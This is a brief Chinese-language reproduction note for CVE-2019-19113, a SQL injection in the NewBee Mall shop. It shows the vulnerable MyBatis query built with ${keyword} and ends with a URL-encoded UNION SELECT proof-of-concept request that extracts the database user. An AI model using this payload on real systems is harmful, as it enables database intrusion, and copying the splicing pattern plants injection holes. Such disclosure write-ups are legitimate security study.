（CVE-2019-19113）新蜂商城sql注入

一、漏洞简介

二、漏洞影响

三、复现过程

\src\main\resources\mapper\NewBeeMallGoodsMapper.xml

  <select id="findNewBeeMallGoodsListBySearch" parameterType="Map" resultMap="BaseResultMap">
        select
        <include refid="Base_Column_List"/>
        from tb_newbee_mall_goods_info
        <where>
            <if test="keyword!=null and keyword!=''">
                and (goods_name like CONCAT('%','${keyword}','%') or goods_intro like CONCAT('%','${keyword}','%'))
            </if>
            <if test="goodsCategoryId!=null and goodsCategoryId!=''">
                and goods_category_id = #{goodsCategoryId}
            </if>
        </where>
        <if test="orderBy!=null and orderBy!=''">
            <choose>
                <when test="orderBy == 'new'">
                    <!-- 按照发布时间倒序排列 -->
                    order by goods_id desc
                </when>
                <when test="orderBy == 'price'">
                    <!-- 按照售价从小到大排列 -->
                    order by selling_price asc
                </when>
                <otherwise>
                    <!-- 默认按照库存数量从大到小排列 -->
                    order by stock_num desc
                </otherwise>
            </choose>
        </if>
        <if test="start!=null and limit!=null">
            limit #{start},#{limit}
        </if>
    </select>

如果使用\$ {keyword}拼接sql语句，则存在SQL注入的风险

poc：

http://0-sec.org:28089/search?goodsCategoryId=&keyword=%5C%25%27%29%29%20%55%4E%49%4F%4E%20%41%4C%4C%20%53%45%4C%45%43%54%20%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%4E%55%4C%4C%2C%43%4F%4E%43%41%54%28%30%78%37%31%37%36%36%32%37%38%37%31%2C%49%46%4E%55%4C%4C%28%43%41%53%54%28%43%55%52%52%45%4E%54%5F%55%53%45%52%28%29%20%41%53%20%43%48%41%52%29%2C%30%78%32%30%29%2C%30%78%37%31%36%32%37%38%36%62%37%31%29%2C%4E%55%4C%4C%2C%4E%55%4C%4C%23&orderBy=defaul